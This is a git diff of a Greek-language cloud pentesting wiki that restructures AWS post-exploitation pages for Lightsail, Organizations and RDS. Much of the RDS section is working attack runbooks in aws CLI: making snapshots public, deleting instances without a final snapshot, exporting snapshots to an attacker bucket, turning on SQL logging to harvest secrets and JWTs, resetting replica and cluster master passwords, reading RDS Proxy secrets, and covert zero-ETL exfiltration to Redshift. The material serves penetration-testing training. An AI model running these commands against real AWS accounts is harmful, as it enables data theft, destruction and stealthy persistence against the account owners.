-../aws-privilege-escalation/aws-lightsail-privesc.md -{{#endref}} - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lightsail-post-exploitation/README.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lightsail-post-exploitation/README.md new file mode 100644 index 000000000..6992aa8e1 --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lightsail-post-exploitation/README.md @@ -0,0 +1,30 @@ +# AWS - Lightsail Post Exploitation + +{{#include ../../../../banners/hacktricks-training.md}} + +## Lightsail + +Για περισσότερες πληροφορίες, δείτε: + +{{#ref}} +../../aws-services/aws-lightsail-enum.md +{{#endref}} + +### Restore old DB snapshots + +Αν η DB έχει snapshots, μπορεί να καταφέρετε να **βρείτε ευαίσθητες πληροφορίες που έχουν διαγραφεί παλαιότερα σε snapshots**. **Επαναφέρετε** το snapshot σε μια **νέα βάση δεδομένων** και ελέγξτε το. + +### Restore Instance Snapshots + +Τα instance snapshots μπορεί να περιέχουν **ευαίσθητες πληροφορίες** από ήδη διαγραμμένα instances ή ευαίσθητες πληροφορίες που έχουν διαγραφεί στην τρέχουσα instance. **Δημιουργήστε νέες instances από τα snapshots** και ελέγξτε τα.\ +Ή **εξάγετε το snapshot σε ένα AMI στο EC2** και ακολουθήστε τα βήματα μιας τυπικής EC2 instance. + +### Access Sensitive Information + +Εξετάστε τις Lightsail privesc επιλογές για να μάθετε διαφορετικούς τρόπους πρόσβασης σε πιθανές ευαίσθητες πληροφορίες: + +{{#ref}} +../../aws-privilege-escalation/aws-lightsail-privesc/README.md +{{#endref}} + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-organizations-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-organizations-post-exploitation.md deleted file mode 100644 index 11cc1bbe9..000000000 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-organizations-post-exploitation.md +++ /dev/null @@ -1,17 +0,0 @@ -# AWS - Οργανώσεις Μετά την Εκμετάλλευση - -{{#include ../../../banners/hacktricks-training.md}} - -## Οργανώσεις - -Για περισσότερες πληροφορίες σχετικά με τις Οργανώσεις AWS, ελέγξτε: - -{{#ref}} -../aws-services/aws-organizations-enum.md -{{#endref}} - -### Αποχώρηση από την Οργάνωση -```bash -aws organizations deregister-account --account-id --region -``` -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-organizations-post-exploitation/README.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-organizations-post-exploitation/README.md new file mode 100644 index 000000000..f306a05a5 --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-organizations-post-exploitation/README.md @@ -0,0 +1,17 @@ +# AWS - Organizations Post Exploitation + +{{#include ../../../../banners/hacktricks-training.md}} + +## Organizations + +Για περισσότερες πληροφορίες σχετικά με AWS Organizations δείτε: + +{{#ref}} +../../aws-services/aws-organizations-enum.md +{{#endref}} + +### Αποχώρηση από το Org +```bash +aws organizations deregister-account --account-id --region +``` +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-rds-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-rds-post-exploitation/README.md similarity index 66% rename from src/pentesting-cloud/aws-security/aws-post-exploitation/aws-rds-post-exploitation.md rename to src/pentesting-cloud/aws-security/aws-post-exploitation/aws-rds-post-exploitation/README.md index 9914f4c01..6b4f282ac 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-rds-post-exploitation.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-rds-post-exploitation/README.md @@ -1,18 +1,18 @@ # AWS - RDS Post Exploitation -{{#include ../../../banners/hacktricks-training.md}} +{{#include ../../../../banners/hacktricks-training.md}} ## RDS -Για περισσότερες πληροφορίες, δείτε: +Για περισσότερες πληροφορίες δείτε: {{#ref}} -../aws-services/aws-relational-database-rds-enum.md +../../aws-services/aws-relational-database-rds-enum.md {{#endref}} ### `rds:CreateDBSnapshot`, `rds:RestoreDBInstanceFromDBSnapshot`, `rds:ModifyDBInstance` -Αν ο attacker έχει επαρκή δικαιώματα, μπορεί να καταστήσει μια **DB δημόσια προσβάσιμη** δημιουργώντας ένα snapshot της DB και στη συνέχεια μια δημόσια προσβάσιμη DB από το snapshot. +Εάν ο επιτιθέμενος έχει αρκετά δικαιώματα, μπορεί να κάνει μια **DB δημόσια προσβάσιμη** δημιουργώντας ένα snapshot της DB και στη συνέχεια μια δημόσια προσβάσιμη DB από το snapshot. ```bash aws rds describe-db-instances # Get DB identifier @@ -40,7 +40,7 @@ aws rds modify-db-instance \ ``` ### `rds:ModifyDBSnapshotAttribute`, `rds:CreateDBSnapshot` -Ένας επιτιθέμενος με αυτά τα δικαιώματα θα μπορούσε να **δημιουργήσει ένα snapshot μιας DB** και να το καταστήσει **δημόσια** **διαθέσιμο**. Στη συνέχεια, θα μπορούσε απλά να δημιουργήσει στο δικό του λογαριασμό μια DB από αυτό το snapshot. +Ένας επιτιθέμενος με αυτά τα δικαιώματα θα μπορούσε να **δημιουργήσει ένα snapshot ενός DB** και να το κάνει **δημόσια** **διαθέσιμο**. Στη συνέχεια, θα μπορούσε απλώς να δημιουργήσει στον δικό του λογαριασμό ένα DB από αυτό το snapshot. Ακόμα κι αν ο επιτιθέμενος **δεν έχει το `rds:CreateDBSnapshot`**, μπορεί παρόλα αυτά να κάνει **άλλα** δημιουργημένα snapshots **δημόσια**. ```bash @@ -53,7 +53,7 @@ aws rds modify-db-snapshot-attribute --db-snapshot-identifier -- ``` ### `rds:DownloadDBLogFilePortion` -Ένας επιτιθέμενος με την άδεια `rds:DownloadDBLogFilePortion` μπορεί να **κατεβάσει τμήματα των αρχείων καταγραφής μιας RDS instance**. Αν ευαίσθητα δεδομένα ή διαπιστευτήρια πρόσβασης καταγραφούν κατά λάθος, ο επιτιθέμενος ενδεχομένως να χρησιμοποιήσει αυτές τις πληροφορίες για να αυξήσει τα προνόμιά του ή να προβεί σε μη εξουσιοδοτημένες ενέργειες. +Ένας επιτιθέμενος με το δικαίωμα `rds:DownloadDBLogFilePortion` μπορεί να κατεβάσει τμήματα των αρχείων καταγραφής ενός instance του RDS. Εάν ευαίσθητα δεδομένα ή διαπιστευτήρια πρόσβασης καταγραφούν κατά λάθος, ο επιτιθέμενος θα μπορούσε ενδεχομένως να χρησιμοποιήσει αυτές τις πληροφορίες για να κλιμακώσει τα προνόμιά του ή να εκτελέσει μη εξουσιοδοτημένες ενέργειες. ```bash aws rds download-db-log-file-portion --db-instance-identifier target-instance --log-file-name error/mysql-error-running.log --starting-token 0 --output text ``` @@ -61,40 +61,40 @@ aws rds download-db-log-file-portion --db-instance-identifier target-instance -- ### `rds:DeleteDBInstance` -Ένας επιτιθέμενος με αυτά τα δικαιώματα μπορεί να **προκαλέσει DoS σε υπάρχουσες RDS instances**. +Ένας επιτιθέμενος με αυτά τα δικαιώματα μπορεί να **DoS existing RDS instances**. ```bash # Delete aws rds delete-db-instance --db-instance-identifier target-instance --skip-final-snapshot ``` -**Πιθανός αντίκτυπος**: Διαγραφή υπαρχόντων RDS instances και πιθανή απώλεια δεδομένων. +**Πιθανός αντίκτυπος**: Διαγραφή υφιστάμενων RDS instances και πιθανή απώλεια δεδομένων. ### `rds:StartExportTask` > [!NOTE] > TODO: Δοκιμή -Ένας επιτιθέμενος με αυτήν την άδεια μπορεί να **εξάγει ένα στιγμιότυπο RDS instance σε ένα S3 bucket**. Εάν ο επιτιθέμενος έχει τον έλεγχο του προορισμού S3 bucket, μπορεί ενδεχομένως να αποκτήσει πρόσβαση σε ευαίσθητα δεδομένα εντός του εξαγόμενου στιγμιότυπου. +Ένας επιτιθέμενος με αυτήν την άδεια μπορεί να **εξάγει ένα RDS instance snapshot σε έναν S3 bucket**. Εάν ο επιτιθέμενος έχει έλεγχο του προοριστικού S3 bucket, μπορεί ενδεχομένως να αποκτήσει πρόσβαση σε ευαίσθητα δεδομένα που περιέχονται στο εξαγόμενο snapshot. ```bash aws rds start-export-task --export-task-identifier attacker-export-task --source-arn arn:aws:rds:region:account-id:snapshot:target-snapshot --s3-bucket-name attacker-bucket --iam-role-arn arn:aws:iam::account-id:role/export-role --kms-key-id arn:aws:kms:region:account-id:key/key-id ``` **Potential impact**: Πρόσβαση σε ευαίσθητα δεδομένα στο εξαγόμενο snapshot. -### Cross-Region Automated Backups Replication for Stealthy Restore (`rds:StartDBInstanceAutomatedBackupsReplication`) +### Αναπαραγωγή αυτόματων αντιγράφων ασφαλείας ανά Region για κρυφή επαναφορά (`rds:StartDBInstanceAutomatedBackupsReplication`) -Κακοποίηση της Cross-Region automated backups replication για να διπλασιαστούν αθόρυβα τα automated backups ενός instance RDS σε άλλη AWS Region και να γίνουν restore εκεί. Ο επιτιθέμενος μπορεί στη συνέχεια να κάνει τη επαναφερθείσα DB δημόσια προσβάσιμη και να επαναφέρει τον master κωδικό πρόσβασης για να αποκτήσει πρόσβαση στα δεδομένα out-of-band σε μια Region που οι αμυνόμενοι μπορεί να μην παρακολουθούν. +Κακοποίηση της αναπαραγωγής αυτόματων αντιγράφων ασφαλείας ανά Region για να διπλασιαστούν σιωπηλά τα automated backups ενός instance RDS σε άλλη AWS Region και να γίνει επαναφορά εκεί. Ο επιτιθέμενος μπορεί στη συνέχεια να καταστήσει τη επαναφερθείσα DB δημόσια προσβάσιμη και να επαναρυθμίσει τον master password για να αποκτήσει πρόσβαση σε δεδομένα εκτός ζώνης σε μια περιοχή που οι υπερασπιστές μπορεί να μην παρακολουθούν. Permissions needed (minimum): -- `rds:StartDBInstanceAutomatedBackupsReplication` in the destination Region -- `rds:DescribeDBInstanceAutomatedBackups` in the destination Region -- `rds:RestoreDBInstanceToPointInTime` in the destination Region -- `rds:ModifyDBInstance` in the destination Region -- `rds:StopDBInstanceAutomatedBackupsReplication` (optional cleanup) -- `ec2:CreateSecurityGroup`, `ec2:AuthorizeSecurityGroupIngress` (to expose the restored DB) +- `rds:StartDBInstanceAutomatedBackupsReplication` στην προοριστική περιοχή +- `rds:DescribeDBInstanceAutomatedBackups` στην προοριστική περιοχή +- `rds:RestoreDBInstanceToPointInTime` στην προοριστική περιοχή +- `rds:ModifyDBInstance` στην προοριστική περιοχή +- `rds:StopDBInstanceAutomatedBackupsReplication` (προαιρετικό καθάρισμα) +- `ec2:CreateSecurityGroup`, `ec2:AuthorizeSecurityGroupIngress` (για να εκθέσετε την επαναφερθείσα DB) -Impact: Επίμονη παρουσία και εξαγωγή δεδομένων επαναφέροντας ένα αντίγραφο παραγωγικών δεδομένων σε άλλη Region και εκθέτοντάς το δημόσια με διαπιστευτήρια υπό τον έλεγχο του επιτιθέμενου. +Επίπτωση: Επιμονή και εξαγωγή δεδομένων αποκαθιστώντας ένα αντίγραφο των παραγωγικών δεδομένων σε άλλη περιοχή και εκθέτοντάς το δημόσια με διαπιστευτήρια ελεγχόμενα από τον επιτιθέμενο.
-Ολοκληρωμένο CLI (αντικαταστήστε τα placeholders) +Ολοκληρωμένο CLI από άκρη σε άκρη (αντικαταστήστε τα placeholders) ```bash # 1) Recon (SOURCE region A) aws rds describe-db-instances \ @@ -163,9 +163,9 @@ aws rds stop-db-instance-automated-backups-replication \
-### Enable full SQL logging via DB parameter groups and exfiltrate via RDS log APIs +### Ενεργοποιήστε πλήρη SQL logging μέσω DB parameter groups και εξάγετε μέσω RDS log APIs -Καταχράσου `rds:ModifyDBParameterGroup` μαζί με τα RDS log download APIs για να καταγράψεις όλες τις SQL εντολές που εκτελούνται από εφαρμογές (δεν απαιτούνται DB engine credentials). Ενεργοποίησε engine SQL logging και κατέβασε τα log αρχεία μέσω `rds:DescribeDBLogFiles` και `rds:DownloadDBLogFilePortion` (ή το REST `downloadCompleteLogFile`). Χρήσιμο για συλλογή queries που μπορεί να περιέχουν secrets/PII/JWTs. +Καταχραστείτε το `rds:ModifyDBParameterGroup` μαζί με τα RDS log download APIs για να καταγράψετε όλες τις SQL εντολές που εκτελούνται από εφαρμογές (δεν απαιτούνται credentials του DB engine). Ενεργοποιήστε την καταγραφή SQL του engine και ανακτήστε τα αρχεία καταγραφής μέσω `rds:DescribeDBLogFiles` και `rds:DownloadDBLogFilePortion` (ή το REST `downloadCompleteLogFile`). Χρήσιμο για τη συλλογή queries που μπορεί να περιέχουν secrets/PII/JWTs. Permissions needed (minimum): - `rds:DescribeDBInstances`, `rds:DescribeDBLogFiles`, `rds:DownloadDBLogFilePortion` @@ -173,16 +173,16 @@ Permissions needed (minimum): - `rds:ModifyDBInstance` (only to attach a custom parameter group if the instance is using the default one) - `rds:RebootDBInstance` (for parameters requiring reboot, e.g., PostgreSQL) -Steps +Βήματα 1) Recon του στόχου και του τρέχοντος parameter group ```bash aws rds describe-db-instances \ --query 'DBInstances[*].[DBInstanceIdentifier,Engine,DBParameterGroups[0].DBParameterGroupName]' \ --output table ``` -2) Βεβαιώσου ότι έχει προσαρτηθεί μια προσαρμοσμένη DB parameter group (δεν μπορείς να επεξεργαστείς την προεπιλεγμένη) -- Αν το instance χρησιμοποιεί ήδη μια προσαρμοσμένη ομάδα, ξαναχρησιμοποίησε το όνομά της στο επόμενο βήμα. -- Διαφορετικά δημιούργησε και επισύναψε μία που ταιριάζει με την οικογένεια του engine: +2) Βεβαιωθείτε ότι έχει επισυναφθεί μια προσαρμοσμένη DB parameter group (δεν είναι δυνατή η επεξεργασία της προεπιλεγμένης) +- Εάν το instance ήδη χρησιμοποιεί προσαρμοσμένη ομάδα, επαναχρησιμοποιήστε το όνομά της στο επόμενο βήμα. +- Διαφορετικά, δημιουργήστε και επισυνάψτε μία που ταιριάζει με την engine family: ```bash # Example for PostgreSQL 16 aws rds create-db-parameter-group \ @@ -196,8 +196,8 @@ aws rds modify-db-instance \ --apply-immediately # Wait until status becomes "available" ``` -3) Ενεργοποιήστε λεπτομερή καταγραφή SQL -- MySQL engines (άμεσα / χωρίς επανεκκίνηση): +3) Ενεργοποίηση λεπτομερούς SQL logging +- MySQL engines (άμεση / χωρίς επανεκκίνηση): ```bash aws rds modify-db-parameter-group \ --db-parameter-group-name \ @@ -208,7 +208,7 @@ aws rds modify-db-parameter-group \ # "ParameterName=slow_query_log,ParameterValue=1,ApplyMethod=immediate" \ # "ParameterName=long_query_time,ParameterValue=0,ApplyMethod=immediate" ``` -- PostgreSQL engines (απαιτείται επανεκκίνηση): +- PostgreSQL μηχανές (απαιτείται επανεκκίνηση): ```bash aws rds modify-db-parameter-group \ --db-parameter-group-name \ @@ -220,11 +220,11 @@ aws rds modify-db-parameter-group \ # Reboot if any parameter is pending-reboot aws rds reboot-db-instance --db-instance-identifier ``` -4) Αφήστε το workload να εκτελεστεί (ή δημιουργήστε queries). Οι δηλώσεις θα καταγραφούν στα engine file logs +4) Αφήστε το φορτίο εργασίας να τρέξει (ή δημιουργήστε ερωτήματα). Οι δηλώσεις θα γραφτούν στα engine file logs - MySQL: `general/mysql-general.log` - PostgreSQL: `postgresql.log` -5) Εντοπίστε και κατεβάστε τα logs (δεν απαιτούνται διαπιστευτήρια DB) +5) Ανακαλύψτε και κατεβάστε τα logs (δεν απαιτούνται DB creds) ```bash aws rds describe-db-log-files --db-instance-identifier @@ -246,7 +246,7 @@ grep -Ei "password=|aws_access_key_id|secret|authorization:|bearer" dump.log | s 2025-10-06T..Z 13 Query INSERT INTO t(note) VALUES ('aws_access_key_id=AKIA... secret=REDACTED') ``` Καθαρισμός -- Επαναφέρετε τις παραμέτρους στις προεπιλεγμένες τιμές και επανεκκινήστε εάν απαιτείται: +- Επαναφέρετε τις παραμέτρους στις προεπιλογές και επανεκκινήστε αν απαιτείται: ```bash # MySQL aws rds modify-db-parameter-group \ @@ -261,19 +261,19 @@ aws rds modify-db-parameter-group \ "ParameterName=log_statement,ParameterValue=none,ApplyMethod=pending-reboot" # Reboot if pending-reboot ``` -Επίπτωση: Post-exploitation πρόσβαση σε δεδομένα με την καταγραφή όλων των SQL εντολών της εφαρμογής μέσω AWS APIs (no DB creds), πιθανώς leaking μυστικά, JWTs, και PII. +Επίπτωση: Post-exploitation πρόσβαση σε δεδομένα με την καταγραφή όλων των application SQL statements μέσω AWS APIs (no DB creds), potentially leaking secrets, JWTs, and PII. ### `rds:CreateDBInstanceReadReplica`, `rds:ModifyDBInstance` -Καταχρήση των RDS read replicas για απόκτηση out-of-band read access χωρίς να πειραχτούν τα primary instance credentials. Ένας attacker μπορεί να δημιουργήσει ένα read replica από ένα production instance, να επαναφέρει το replica's master password (αυτό δεν αλλάζει το primary), και προαιρετικά να εκθέσει το replica δημόσια για να exfiltrate δεδομένα. +Κατάχρηση των RDS read replicas για απόκτηση out-of-band read access χωρίς να αγγίζονται τα primary instance credentials. Ένας attacker μπορεί να δημιουργήσει ένα read replica από production instance, να επαναφέρει το replica's master password (this does not change the primary), και προαιρετικά να εκθέσει το replica δημόσια για να exfiltrate δεδομένα. Απαιτούμενα permissions (ελάχιστα): - `rds:DescribeDBInstances` - `rds:CreateDBInstanceReadReplica` - `rds:ModifyDBInstance` -- `ec2:CreateSecurityGroup`, `ec2:AuthorizeSecurityGroupIngress` (if exposing publicly) +- `ec2:CreateSecurityGroup`, `ec2:AuthorizeSecurityGroupIngress` (αν εκτεθεί δημόσια) -Επίπτωση: Read-only πρόσβαση σε production δεδομένα μέσω ενός replica με attacker-controlled credentials; χαμηλότερη πιθανότητα ανίχνευσης καθώς το primary παραμένει untouched και η replication συνεχίζεται. +Επίπτωση: Read-only πρόσβαση σε production δεδομένα μέσω ενός replica με attacker-controlled credentials; χαμηλότερη πιθανότητα εντοπισμού καθώς το primary παραμένει ανεπηρέαστο και η replication συνεχίζεται. ```bash # 1) Recon: find non-Aurora sources with backups enabled aws rds describe-db-instances \ @@ -306,11 +306,11 @@ REPL_ENDPOINT=$(aws rds describe-db-instances --db-instance-identifier ``` Παράδειγμα αποδεικτικών στοιχείων (MySQL): - Κατάσταση Replica DB: `available`, read replication: `replicating` -- Επιτυχής σύνδεση με νέο κωδικό και `@@read_only=1` που επιβεβαιώνει πρόσβαση μόνο για ανάγνωση στο αντίγραφο. +- Επιτυχής σύνδεση με νέο password και `@@read_only=1` που επιβεβαιώνει πρόσβαση read-only στη replica. ### `rds:CreateBlueGreenDeployment`, `rds:ModifyDBInstance` -Καταχρήση του RDS Blue/Green για κλωνοποίηση μιας παραγωγικής DB σε ένα συνεχώς αναπαραγόμενο, μόνο για ανάγνωση green περιβάλλον. Στη συνέχεια επαναφέρετε τα κύρια διαπιστευτήρια του green για να αποκτήσετε πρόσβαση στα δεδομένα χωρίς να αγγίξετε το blue (prod) instance. Αυτό είναι πιο διακριτικό από την κοινή χρήση snapshot και συχνά παρακάμπτει την παρακολούθηση που εστιάζει μόνο στην πηγή. +Καταχράσου το RDS Blue/Green για να κλωνοποιήσεις μια παραγωγική βάση δεδομένων σε ένα συνεχώς replicated, read-only green περιβάλλον. Έπειτα επαναφέρε τα green master credentials για να αποκτήσεις πρόσβαση στα δεδομένα χωρίς να αγγίξεις το blue (prod) instance. Αυτό είναι πιο stealthy από το snapshot sharing και συχνά παρακάμπτει το monitoring που επικεντρώνεται μόνο στην πηγή. ```bash # 1) Recon – find eligible source (non‑Aurora MySQL/PostgreSQL in the same account) aws rds describe-db-instances \ @@ -357,22 +357,22 @@ aws rds delete-blue-green-deployment \ --blue-green-deployment-identifier \ --delete-target true ``` -Αντίκτυπος: Πρόσβαση μόνο για ανάγνωση αλλά πλήρης πρόσβαση στα δεδομένα σε έναν σχεδόν-σε-πραγματικό-χρόνο κλώνο του production χωρίς να τροποποιηθεί το production instance. Χρήσιμο για στελθ εξαγωγή δεδομένων και ανάλυση εκτός σύνδεσης. +Επίπτωση: Πρόσβαση μόνο για ανάγνωση αλλά πλήρης πρόσβαση στα δεδομένα ενός κλώνου παραγωγής σχεδόν σε πραγματικό χρόνο χωρίς να τροποποιηθεί το production instance. Χρήσιμο για stealthy data extraction και offline ανάλυση. ### Out-of-band SQL via RDS Data API by enabling HTTP endpoint + resetting master password -Κακοποίηση του Aurora για την ενεργοποίηση του RDS Data API HTTP endpoint σε έναν στοχευμένο cluster, επαναφορά του master password σε μια τιμή που ελέγχετε και εκτέλεση SQL πάνω από HTTPS (χωρίς απαιτούμενο VPC network path). Λειτουργεί σε Aurora engines που υποστηρίζουν το Data API/EnableHttpEndpoint (π.χ., Aurora MySQL 8.0 provisioned; κάποιες εκδόσεις Aurora PostgreSQL/MySQL). +Καταχρηστική χρήση του Aurora για να ενεργοποιήσετε το RDS Data API HTTP endpoint σε έναν στόχο cluster, να επαναφέρετε το master password σε μια τιμή που ελέγχετε και να τρέξετε SQL μέσω HTTPS (δεν απαιτείται διαδρομή δικτύου VPC). Λειτουργεί σε Aurora engines που υποστηρίζουν το Data API/EnableHttpEndpoint (π.χ. Aurora MySQL 8.0 provisioned; κάποιες εκδόσεις Aurora PostgreSQL/MySQL). Permissions (minimum): - rds:DescribeDBClusters, rds:ModifyDBCluster (or rds:EnableHttpEndpoint) - secretsmanager:CreateSecret - rds-data:ExecuteStatement (and rds-data:BatchExecuteStatement if used) -Αντίκτυπος: Παράκαμψη της δικτυακής τμηματοποίησης και εξαγωγή δεδομένων μέσω AWS APIs χωρίς άμεση VPC connectivity στη DB. +Επίπτωση: Παράκαμψη του διαχωρισμού δικτύου και exfiltrate δεδομένα μέσω AWS APIs χωρίς άμεση VPC συνδεσιμότητα προς τη DB.
-CLI από άκρο σε άκρο (παράδειγμα Aurora MySQL) +End-to-end CLI (παράδειγμα Aurora MySQL) ```bash # 1) Identify target cluster ARN REGION=us-east-1 @@ -425,21 +425,21 @@ aws rds-data execute-statement --region $REGION --resource-arn "$CLUSTER_ARN" \
Σημειώσεις: -- Εάν το SQL πολλών εντολών απορριφθεί από το `rds-data`, εκτελέστε ξεχωριστές κλήσεις `execute-statement`. -- Για μηχανές όπου το `modify-db-cluster --enable-http-endpoint` δεν έχει αποτέλεσμα, χρησιμοποιήστε `rds enable-http-endpoint --resource-arn`. -- Βεβαιωθείτε ότι η μηχανή/έκδοση υποστηρίζει πραγματικά το Data API· διαφορετικά το `HttpEndpointEnabled` θα παραμείνει `False`. +- Εάν multi-statement SQL απορρίπτεται από το rds-data, εκτελέστε ξεχωριστές κλήσεις execute-statement. +- Για engines όπου το modify-db-cluster --enable-http-endpoint δεν έχει αποτέλεσμα, χρησιμοποιήστε rds enable-http-endpoint --resource-arn. +- Βεβαιωθείτε ότι ο engine/version υποστηρίζει πραγματικά το Data API· διαφορετικά το HttpEndpointEnabled θα παραμείνει False. -### Συλλογή διαπιστευτηρίων DB μέσω RDS Proxy auth secrets (`rds:DescribeDBProxies` + `secretsmanager:GetSecretValue`) +### Harvest DB credentials via RDS Proxy auth secrets (`rds:DescribeDBProxies` + `secretsmanager:GetSecretValue`) -Καταχρηστείτε τη διαμόρφωση του RDS Proxy για να εντοπίσετε το Secrets Manager secret που χρησιμοποιείται για την πιστοποίηση του backend, και στη συνέχεια διαβάστε το secret για να αποκτήσετε διαπιστευτήρια βάσης δεδομένων. Σε πολλά περιβάλλοντα χορηγείται ευρεία άδεια `secretsmanager:GetSecretValue`, καθιστώντας αυτή μια εύκολη μεταπήδηση προς διαπιστευτήρια DB. Εάν το secret χρησιμοποιεί CMK, κακώς ορισμένα δικαιώματα KMS μπορεί επίσης να επιτρέψουν `kms:Decrypt`. +Καταχραστείτε τη ρύθμιση του RDS Proxy για να εντοπίσετε το Secrets Manager secret που χρησιμοποιείται για την επαλήθευση του backend και στη συνέχεια διαβάστε το secret για να αποκτήσετε τα διαπιστευτήρια της βάσης δεδομένων. Πολλά περιβάλλοντα χορηγούν ευρείες άδειες `secretsmanager:GetSecretValue`, καθιστώντας αυτό ένα low-friction pivot προς DB creds. Αν το secret χρησιμοποιεί CMK, μη σωστά περιορισμένες άδειες KMS μπορεί επίσης να επιτρέψουν `kms:Decrypt`. -Απαιτούμενα δικαιώματα (ελάχιστα): +Permissions needed (minimum): - `rds:DescribeDBProxies` - `secretsmanager:GetSecretValue` στο αναφερόμενο SecretArn -- Προαιρετικό όταν το secret χρησιμοποιεί CMK: `kms:Decrypt` στο συγκεκριμένο κλειδί +- Προαιρετικά αν το secret χρησιμοποιεί CMK: `kms:Decrypt` σε αυτό το key -Impact: Άμεση αποκάλυψη του DB username/password που έχει ρυθμιστεί στον proxy· επιτρέπει άμεση πρόσβαση στη DB ή περαιτέρω lateral movement. +Impact: Άμεση αποκάλυψη του DB username/password που είναι ρυθμισμένο στον proxy; επιτρέπει άμεση πρόσβαση στη DB ή περαιτέρω lateral movement. Βήματα ```bash @@ -473,7 +473,7 @@ aws rds create-db-proxy --db-proxy-name p0 --engine-family MYSQL \ aws rds wait db-proxy-available --db-proxy-name p0 # Now run the enumeration + secret read from the Steps above ``` -Καθαρισμός (εργαστήριο) +Καθαρισμός (lab) ```bash aws rds delete-db-proxy --db-proxy-name p0 aws iam detach-role-policy --role-name rds-proxy-secret-role --policy-arn arn:aws:iam::aws:policy/SecretsManagerReadWrite @@ -482,7 +482,7 @@ aws secretsmanager delete-secret --secret-id rds/proxy/aurora-demo --force-delet ``` ### Κρυφή συνεχής εξαγωγή δεδομένων μέσω Aurora zero‑ETL σε Amazon Redshift (rds:CreateIntegration) -Καταχραστείτε την ολοκλήρωση Aurora PostgreSQL zero‑ETL για να αναπαράγετε συνεχώς παραγωγικά δεδομένα σε ένα Redshift Serverless namespace που ελέγχετε. Με μια χαλαρή πολιτική πόρων Redshift που εξουσιοδοτεί τα CreateInboundIntegration/AuthorizeInboundIntegration για ένα συγκεκριμένο Aurora cluster ARN, ένας επιτιθέμενος μπορεί να δημιουργήσει ένα σχεδόν πραγματικού χρόνου αντίγραφο δεδομένων χωρίς DB creds, snapshots ή έκθεση στο δίκτυο. +Κατάχρηση της Aurora PostgreSQL zero‑ETL integration για συνεχή αναπαραγωγή παραγωγικών δεδομένων σε ένα Redshift Serverless namespace που ελέγχετε. Με μια χαλαρή πολιτική πόρων Redshift που εξουσιοδοτεί CreateInboundIntegration/AuthorizeInboundIntegration για ένα συγκεκριμένο Aurora cluster ARN, ένας επιτιθέμενος μπορεί να δημιουργήσει μια αντιγραφή δεδομένων σε σχεδόν πραγματικό χρόνο χωρίς DB creds, snapshots ή έκθεση στο δίκτυο. Απαιτούμενα δικαιώματα (ελάχιστα): - `rds:CreateIntegration`, `rds:DescribeIntegrations`, `rds:DeleteIntegration` @@ -509,7 +509,7 @@ aws redshift-serverless update-workgroup --region $REGION --workgroup-name ztl-w
-2) Διαμόρφωση πολιτικής πόρων Redshift για να επιτραπεί η πηγή Aurora +2) Διαμορφώστε την πολιτική πόρου του Redshift για να επιτρέψετε την πηγή Aurora ```bash ACCOUNT_ID=$(aws sts get-caller-identity --query Account --output text) SRC_ARN= @@ -540,7 +540,7 @@ aws redshift put-resource-policy --region $REGION --resource-arn "$RS_NS_ARN" --
-3) Δημιουργία Aurora PostgreSQL cluster (ενεργοποίηση Data API και logical replication) +3) Δημιουργία Aurora PostgreSQL cluster (ενεργοποίηση Data API και λογικής αναπαραγωγής) ```bash CLUSTER_ID=aurora-ztl aws rds create-db-cluster --region $REGION --db-cluster-identifier $CLUSTER_ID \ @@ -571,7 +571,7 @@ SRC_ARN=$(aws rds describe-db-clusters --region $REGION --db-cluster-identifier
-4) Δημιουργήστε την zero‑ETL ενσωμάτωση από το RDS +4) Δημιουργήστε την zero‑ETL ενσωμάτωση από RDS ```bash # Include all tables in the default 'postgres' database aws rds create-integration --region $REGION --source-arn "$SRC_ARN" \ @@ -583,7 +583,7 @@ aws redshift describe-inbound-integrations --region $REGION --target-arn "$RS_NS
-5) Υλοποίηση και ερώτηση αναπαραχθέντων δεδομένων στο Redshift +5) Materialize και query αντιγραμμένων δεδομένων στο Redshift ```bash # Create a Redshift database from the inbound integration (use integration_id from SVV_INTEGRATION) aws redshift-data execute-statement --region $REGION --workgroup-name ztl-wg --database dev \ @@ -596,12 +596,12 @@ aws redshift-data execute-statement --region $REGION --workgroup-name ztl-wg --d ```
-Αποδείξεις που παρατηρήθηκαν στη δοκιμή: +Στοιχεία που παρατηρήθηκαν στη δοκιμή: - redshift describe-inbound-integrations: Status ACTIVE for Integration arn:...377a462b-... -- SVV_INTEGRATION showed integration_id 377a462b-c42c-4f08-937b-77fe75d98211 and state PendingDbConnectState prior to DB creation. -- After CREATE DATABASE FROM INTEGRATION, listing tables revealed schema ztl and table customers; selecting from ztl.customers returned 2 rows (Alice, Bob). +- SVV_INTEGRATION έδειξε integration_id 377a462b-c42c-4f08-937b-77fe75d98211 και state PendingDbConnectState πριν τη δημιουργία της DB. +- Μετά το CREATE DATABASE FROM INTEGRATION, η απαρίθμηση των πινάκων αποκάλυψε το schema ztl και τον πίνακα customers· το selecting από ztl.customers επέστρεψε 2 σειρές (Alice, Bob). -Impact: Συνεχής, σχεδόν σε πραγματικό χρόνο, εξαγωγή επιλεγμένων πινάκων Aurora PostgreSQL σε Redshift Serverless υπό τον έλεγχο του επιτιθέμενου, χωρίς χρήση διαπιστευτηρίων βάσης δεδομένων, αντιγράφων ασφαλείας ή δικτυακής πρόσβασης στο source cluster. +Επίπτωση: Συνεχής σχεδόν σε πραγματικό χρόνο exfiltration επιλεγμένων πινάκων Aurora PostgreSQL σε Redshift Serverless υπό έλεγχο του επιτιθέμενου, χωρίς χρήση database credentials, backups ή δικτυακής πρόσβασης στο πηγαίο cluster. -{{#include ../../../banners/hacktricks-training.md}} +{{#include ../../../../banners/hacktricks-training.md}} diff --git 